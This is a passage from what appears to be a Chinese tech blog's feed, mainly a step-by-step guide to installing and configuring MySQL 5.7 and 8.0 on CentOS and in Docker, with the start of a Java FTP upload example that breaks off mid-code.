class="line"></span><br><span class="line">1月 21 23:32:22 localhost.localdomain systemd[1]: Starting PostgreSQL 11 database server...</span><br><span class="line">1月 21 23:32:22 localhost.localdomain systemd[1]: postgresql-11.service: control process exited, code=exited status=1</span><br><span class="line">1月 21 23:32:22 localhost.localdomain systemd[1]: Failed to start PostgreSQL 11 database server.</span><br><span class="line">1月 21 23:32:22 localhost.localdomain systemd[1]: Unit postgresql-11.service entered failed state.</span><br><span class="line">1月 21 23:32:22 localhost.localdomain systemd[1]: postgresql-11.service failed.</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="解决方式">解决方式</h4> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/pgsql-11/bin/postgresql-11-setup initdb</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;下载postgresql&quot;&gt;下载postgresql&lt;/h3&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;b</summary>
      
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="timescaledb" scheme="https://blog.allbs.cn/tags/timescaledb/"/>
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="PostgreSQL" scheme="https://blog.allbs.cn/tags/PostgreSQL/"/>
    
  </entry>
  
  <entry>
    <title>在CenterOS中安装MySql</title>
    <link href="https://blog.allbs.cn/posts/59054/"/>
    <id>https://blog.allbs.cn/posts/59054/</id>
    <published>2021-11-06T03:50:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="MySQL-5-7">MySQL 5.7</h2><h3 id="常用方式">常用方式</h3><h4 id="下载tar包，这里使用wget从官网下载">下载tar包，这里使用wget从官网下载</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.22-linux-glibc2.12-x86_64.tar.gz</span><br></pre></td></tr></table></figure><h4 id="将mysql安装到-usr-local-mysql下">将mysql安装到/usr/local/mysql下</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 解压</span><br><span class="line">tar -xvf mysql-5.7.22-linux-glibc2.12-x86_64.tar.gz</span><br><span class="line"># 移动</span><br><span class="line">mv mysql-5.7.22-linux-glibc2.12-x86_64 /usr/local/</span><br><span class="line"># 重命名</span><br><span class="line">mv /usr/local/mysql-5.7.22-linux-glibc2.12-x86_64 /usr/local/mysql</span><br></pre></td></tr></table></figure><h4 id="新建data目录">新建data目录</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mkdir /usr/local/mysql/data</span><br></pre></td></tr></table></figure><h4 id="新建mysql用户、mysql用户组">新建mysql用户、mysql用户组</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># mysql用户组</span><br><span class="line">groupadd mysql</span><br><span class="line"># mysql用户</span><br><span class="line">useradd mysql -g mysql</span><br></pre></td></tr></table></figure><h4 id="将-usr-local-mysql的所有者及所属组改为mysql">将/usr/local/mysql的所有者及所属组改为mysql</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chown -R mysql.mysql /usr/local/mysql</span><br></pre></td></tr></table></figure><h4 id="配置">配置</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/mysql/bin/mysql_install_db --user=mysql --basedir=/usr/local/mysql/ --datadir=/usr/local/mysql/data</span><br></pre></td></tr></table></figure><h4 id="可能存在的错误">可能存在的错误</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"># 如果出现以下错误：</span><br><span class="line">2018-07-14 06:40:32 [WARNING] mysql_install_db is deprecated. Please consider switching to mysqld --initialize</span><br><span class="line">2018-07-14 06:40:32 [ERROR]   Child process: /usr/local/mysql/bin/mysqldterminated prematurely with errno= 32</span><br><span class="line">2018-07-14 06:40:32 [ERROR]   Failed to execute /usr/local/mysql/bin/mysqld --bootstrap --datadir=/usr/local/mysql/data --lc-messages-dir=/usr/local/mysql/share --lc-messages=en_US --basedir=/usr/local/mysql</span><br><span class="line">-- server log begin --</span><br><span class="line"></span><br><span class="line">-- server log end --</span><br><span class="line"># 则使用以下命令：</span><br><span class="line">/usr/local/mysql/bin/mysqld --user=mysql --basedir=/usr/local/mysql/ --datadir=/usr/local/mysql/data --initialize</span><br><span class="line"></span><br><span class="line"># 如果出现以下错误：</span><br><span class="line">/usr/local/mysql/bin/mysqld: error while loading shared libraries: libnuma.so.1: cannot open shared object file: No such file or directory</span><br><span class="line"># 则执行以下命令：</span><br><span class="line">yum -y install numactl</span><br></pre></td></tr></table></figure><h4 id="继续安装">继续安装</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/mysql/bin/mysqld --user=mysql --basedir=/usr/local/mysql/ --datadir=/usr/local/mysql/data --initialize</span><br></pre></td></tr></table></figure><h4 id="编辑-etc-my-cnf">编辑/etc/my.cnf</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">[mysqld]</span><br><span class="line">datadir=/usr/local/mysql/data</span><br><span class="line">basedir=/usr/local/mysql</span><br><span class="line">socket=/tmp/mysql.sock</span><br><span class="line">user=mysql</span><br><span class="line">port=3306</span><br><span class="line">character-set-server=utf8</span><br><span class="line"># 取消密码验证</span><br><span class="line">skip-grant-tables</span><br><span class="line"># Disabling symbolic-links is recommended to prevent assorted security risks</span><br><span class="line">symbolic-links=0</span><br><span class="line"># skip-grant-tables</span><br><span class="line">[mysqld_safe]</span><br><span class="line">log-error=/var/log/mysqld.log</span><br><span class="line">pid-file=/var/run/mysqld/mysqld.pid</span><br></pre></td></tr></table></figure><h4 id="开启服务">开启服务</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 将mysql加入服务</span><br><span class="line">cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysql</span><br><span class="line"># 开机自启</span><br><span class="line">chkconfig mysql on</span><br><span class="line"># 开启</span><br><span class="line">service mysql start</span><br></pre></td></tr></table></figure><h4 id="设置密码">设置密码</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"># 登录（由于/etc/my.cnf中设置了取消密码验证，所以此处密码任意）</span><br><span class="line">/usr/local/mysql/bin/mysql -u root -p</span><br><span class="line"># 操作mysql数据库</span><br><span class="line">use mysql;</span><br><span class="line"># 修改密码</span><br><span class="line">update user set authentication_string=password(&#x27;你的密码&#x27;) where user=&#x27;root&#x27;;</span><br><span class="line">flush privileges;</span><br><span class="line">exit;</span><br><span class="line"></span><br><span class="line"># 添加远程访问</span><br><span class="line">update user set Host=&#x27;%&#x27; where User=&#x27;root&#x27;;</span><br></pre></td></tr></table></figure><h4 id="将-etc-my-cnf中的skip-grant-tables删除">将/etc/my.cnf中的skip-grant-tables删除</h4><h4 id="登录再次设置密码（不知道为啥如果不再次设置密码就操作不了数据库了）">登录再次设置密码（不知道为啥如果不再次设置密码就操作不了数据库了）</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/mysql/bin/mysql -u root -p</span><br><span class="line">ALTER USER &#x27;root&#x27;@&#x27;localhost&#x27; IDENTIFIED BY &#x27;修改后的密码&#x27;;</span><br><span class="line">exit;</span><br></pre></td></tr></table></figure><h4 id="允许远程连接">允许远程连接</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/mysql/bin/mysql -u root -p</span><br><span class="line">use mysql;</span><br><span class="line">update user set host=&#x27;%&#x27; where user = &#x27;root&#x27;;</span><br><span class="line">flush privileges;</span><br><span class="line">exit;</span><br></pre></td></tr></table></figure><h4 id="添加快捷方式">添加快捷方式</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ln -s /usr/local/mysql/bin/mysql /usr/bin</span><br></pre></td></tr></table></figure><h4 id="开机自启">开机自启</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/mysqld</span><br><span class="line">chmod +x /etc/init.d/mysqld</span><br><span class="line">chkconfig --add mysqld</span><br><span class="line">chkconfig --list</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#off -&gt; on </span><br><span class="line">chkconfig --level 345 mysqld on</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/ae272c055bfc5ef74ed63fc04af5da98.png" alt="image"></p><h4 id="卸载">卸载</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find / -name mysql</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/11/7bbcea01cbd4bb9f40931062a1f8241e.png" alt="image"></p><h4 id="删除mysql用户以及用户组">删除mysql用户以及用户组</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">id mysql</span><br><span class="line">userdel mysql</span><br></pre></td></tr></table></figure><h3 id="docker安装">docker安装</h3><h4 id="从Docker-Hub获取最新版本的MySQL镜像">从Docker Hub获取最新版本的MySQL镜像</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull mysql:latest</span><br></pre></td></tr></table></figure><h4 id="运行一个新的MySQL容器">运行一个新的MySQL容器</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">docker run --name my-mysql \</span><br><span class="line">  -e MYSQL_ROOT_PASSWORD=my-secret-pw \</span><br><span class="line">  -v /path/to/your/mysql-data:/var/lib/mysql \</span><br><span class="line">  -p 3306:3306 \</span><br><span class="line">  -d mysql:latest</span><br></pre></td></tr></table></figure><p>确保将<code>MYSQL_ROOT_PASSWORD</code>环境变量设置为您的MySQL root用户密码。此外，可以使用<code>-v</code>选项将宿主机上的目录挂载到容器内，以便持久化MySQL数据。这里，我们将宿主机上的<code>/path/to/your/mysql-data</code>目录映射到容器内的<code>/var/lib/mysql</code>目录</p><p>请将<code>my-secret-pw</code>替换为您自己的MySQL root密码，并将<code>/path/to/your/mysql-data</code>替换为宿主机上的实际路径。该命令将创建一个名为<code>my-mysql</code>的容器，并将宿主机的3306端口映射到容器的3306端口，以便从外部访问MySQL服务。</p><p>现在，您应该已经成功使用Docker安装了最新版本的MySQL。您可以使用任何MySQL客户端连接到该容器。如果您在同一台机器上运行客户端，可以使用<code>127.0.0.1</code>作为主机名，端口为<code>3306</code>，用户名为<code>root</code>，密码为您在第2步中设置的密码。</p><h2 id="mysql8-0">mysql8.0</h2><h4 id="下载">下载</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd /usr/local</span><br><span class="line">wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-8.0.36-linux-glibc2.28-x86_64.tar.xz</span><br></pre></td></tr></table></figure><h4 id="解压">解压</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">xz -dk mysql-8.0.36-linux-glibc2.28-x86_64.tar.xz</span><br><span class="line">tar -xvf mysql-8.0.36-linux-glibc2.28-x86_64.tar</span><br><span class="line">#重命名</span><br><span class="line">mv mysql-8.0.36-linux-glibc2.28-x86_64 mysql8.0;</span><br></pre></td></tr></table></figure><h4 id="创建data文件夹储存文件">创建data文件夹储存文件</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cd /home</span><br><span class="line">mkdir mysql</span><br><span class="line">cd mysql</span><br><span class="line">mkdir ./data</span><br></pre></td></tr></table></figure><h4 id="创建用户组">创建用户组</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">groupadd mysql</span><br></pre></td></tr></table></figure><h4 id="创建用户名密码">创建用户名密码</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">useradd -g mysql mysql</span><br></pre></td></tr></table></figure><h4 id="授权">授权</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chown -R mysql.mysql /usr/local/mysql8.0/</span><br><span class="line">chown -R mysql.mysql /home/mysql/data</span><br></pre></td></tr></table></figure><h4 id="初始化数据库-注意查看是否存在相关目录-若不存在-请新建">初始化数据库,注意查看是否存在相关目录,若不存在,请新建</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd /usr/local/mysql8.0/bin</span><br><span class="line">yum install libaio</span><br><span class="line">./mysqld --user=mysql --basedir=/usr/local/mysql8.0/ --datadir=/home/mysql/data/ --initialize</span><br></pre></td></tr></table></figure><h5 id="得到临时密码">得到临时密码</h5><p><img src="C:/Users/ChenQi/AppData/Roaming/Typora/typora-user-images/image-20240131143941149.png" alt="image"></p><h5 id="Mysql配置-按照自己的文件路径配置，关于其他配置，可自行搜索，若有【mysql-safe】的配置，可以先注释掉">Mysql配置(按照自己的文件路径配置，关于其他配置，可自行搜索，若有【mysql-safe】的配置，可以先注释掉)</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/my.cnf</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/01/50ce9035e0d7c6e2e951fd80d224d35b.png" alt="image-20240131154148598"></p><h4 id="添加Mysql到系统服务">添加Mysql到系统服务</h4><h5 id="建立MySQL服务（注意当前路径应该在mysql8-0-即support-files的根目录）">建立MySQL服务（注意当前路径应该在mysql8.0,即support-files的根目录）</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cp -a ./support-files/mysql.server /etc/init.d/mysql</span><br></pre></td></tr></table></figure><h5 id="若mysqld，以下mysql相应的修改mysqld-如下图所示">若mysqld，以下mysql相应的修改mysqld,如下图所示</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chmod +x /etc/init.d/mysql</span><br><span class="line">chkconfig --add mysql</span><br></pre></td></tr></table></figure><h4 id="检查服务是否生效">检查服务是否生效</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chkconfig --list mysql</span><br></pre></td></tr></table></figure><h4 id="启动">启动</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chown -R mysql.mysql /home/mysql</span><br><span class="line">service mysql start;</span><br></pre></td></tr></table></figure><h4 id="启动失败的解决办法">启动失败的解决办法</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/11/104231da33da57b8cc1a4ef2719b0af9.png" alt="image.png"></p><h4 id="修改-etc-my-cnf">修改/etc/my.cnf</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/11/ec39c8cf01aab3f45d14d0a5573d9f3c.png" alt="image.png"><br>修改为自己设定的目录而不是默认目录</p><h4 id="查看启动状态">查看启动状态</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">service mysql status;</span><br><span class="line"> </span><br><span class="line">ln -s /usr/local/mysql8.0/bin/mysql /usr/bin</span><br></pre></td></tr></table></figure><h4 id="登陆并修改密码">登陆并修改密码</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mysql -u root -p</span><br></pre></td></tr></table></figure><h4 id="如果出现以下错误">如果出现以下错误</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/11/689960056a63cbdd1df317f31d143115.png" alt="image.png"></p><h5 id="可以将套接字连接过去">可以将套接字连接过去</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock</span><br></pre></td></tr></table></figure><h4 id="修改密码及设置远程登陆">修改密码及设置远程登陆</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">mysql -u root -p</span><br><span class="line">输入初始化生成的零时密码</span><br><span class="line"></span><br><span class="line">CREATE USER &#x27;root&#x27;@&#x27;%&#x27; IDENTIFIED BY &#x27;密码&#x27;;</span><br><span class="line">ALTER USER &#x27;root&#x27;@&#x27;%&#x27; IDENTIFIED WITH mysql_native_password BY &#x27;密码&#x27;;</span><br><span class="line">GRANT ALL PRIVILEGES ON *.* TO &#x27;root&#x27;@&#x27;%&#x27; WITH GRANT OPTION;</span><br><span class="line">flush privileges;</span><br><span class="line">quit;</span><br></pre></td></tr></table></figure><h4 id="MySQL-配置文件参考">MySQL 配置文件参考</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">[client]</span><br><span class="line">port=3306</span><br><span class="line"># mysql socket 文件存放地址</span><br><span class="line">socket=/tmp/mysql.sock</span><br><span class="line"># 默认字符集</span><br><span class="line">default-character-set=utf8</span><br><span class="line"></span><br><span class="line">[mysqld]</span><br><span class="line">server-id=1</span><br><span class="line"># 端口</span><br><span class="line">port=3306</span><br><span class="line"># 运行用户</span><br><span class="line">user=mysql</span><br><span class="line"># 最大连接</span><br><span class="line">max_connections=200</span><br><span class="line">socket=/tmp/mysql.sock</span><br><span class="line"># mysql 安装目录（解压后文件的目录）</span><br><span class="line">basedir=/usr/local/mysql</span><br><span class="line"># 数据目录（这里放在我们新建的 /data/mysql 下）</span><br><span class="line">datadir=/usr/local/mysql/data</span><br><span class="line">pid-file=/data/mysql/mysql.pid</span><br><span class="line">init-connect=&#x27;SET NAMES utf8&#x27;</span><br><span class="line">character-set-server=utf8</span><br><span class="line"># 数据库引擎</span><br><span class="line">default-storage-engine=INNODB</span><br><span class="line">log_error=/data/mysql/mysql-error.log</span><br><span class="line">slow_query_log_file=/data/mysql/mysql-slow.log</span><br><span class="line">default_authentication_plugin=mysql_native_password</span><br><span class="line"></span><br><span class="line"># 跳过验证密码</span><br><span class="line">#skip-grant-tables</span><br><span class="line"></span><br><span class="line">[mysqldump]</span><br><span class="line">quick</span><br><span class="line">max_allowed_packet=16M</span><br><span class="line">EOF</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;MySQL-5-7&quot;&gt;MySQL 5.7&lt;/h2&gt;
&lt;h3 id=&quot;常用方式&quot;&gt;常用方式&lt;/h3&gt;
&lt;h4 id=&quot;下载tar包，这里使用wget从官网下载&quot;&gt;下载tar包，这里使用wget从官网下载&lt;/h4&gt;
&lt;figure class=&quot;highlight p</summary>
      
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="mysql" scheme="https://blog.allbs.cn/tags/mysql/"/>
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
  </entry>
  
  <entry>
    <title>java ftp文件上传实例</title>
    <link href="https://blog.allbs.cn/posts/28327/"/>
    <id>https://blog.allbs.cn/posts/28327/</id>
    <published>2021-11-02T06:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="配置ftp上传路径">配置ftp上传路径</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/202111021334852.png" alt="image"></p><h2 id="读取的model-FtpProperties">读取的model FtpProperties</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ftp.utils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.Data;</span><br><span class="line"><span class="keyword">import</span> org.springframework.boot.context.properties.ConfigurationProperties;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 功能:</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> chenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@version</span> 1.0</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@date</span> 2020/11/16 15:24</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@ConfigurationProperties(prefix = &quot;ftp&quot;)</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FtpProperties</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> String url;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> Integer port;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> String path;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上传状态enums UploadStatus</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ftp.utils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.Getter;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> chenqi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@DESCRIPTION</span>:</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@params</span>:</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">@Getter</span></span><br><span class="line"><span class="meta">@AllArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">UploadStatus</span> &#123;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * </span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    CREATE_DIRECTORY_FAIL(<span class="string">&quot;远程服务器相应目录创建失败&quot;</span>),</span><br><span class="line">    CREATE_DIRECTORY_SUCCESS(<span class="string">&quot;远程服务器闯将目录成功&quot;</span>),</span><br><span class="line">    UPLOAD_NEW_FILE_SUCCESS(<span class="string">&quot;上传新文件成功&quot;</span>),</span><br><span class="line">    UPLOAD_NEW_FILE_FAILED(<span class="string">&quot;上传新文件失败&quot;</span>),</span><br><span class="line">    FILE_EXITS(<span class="string">&quot;文件已经存在&quot;</span>),</span><br><span class="line">    REMOTE_BIGGER_LOCAL(<span class="string">&quot;远程文件大于本地文件&quot;</span>),</span><br><span class="line">    UPLOAD_FROM_BREAK_SUCCESS(<span class="string">&quot;断点续传成功&quot;</span>),</span><br><span class="line">    UPLOAD_FROM_BREAK_FAILED(<span class="string">&quot;断点续传失败&quot;</span>),</span><br><span class="line">    DELETE_REMOTE_FAILD(<span class="string">&quot;删除远程文件失败&quot;</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String desc;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="定时执行器，每个小时执行一次，文件每隔分钟上传一次ReadFileHandle">定时执行器，每个小时执行一次，文件每隔分钟上传一次ReadFileHandle</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span 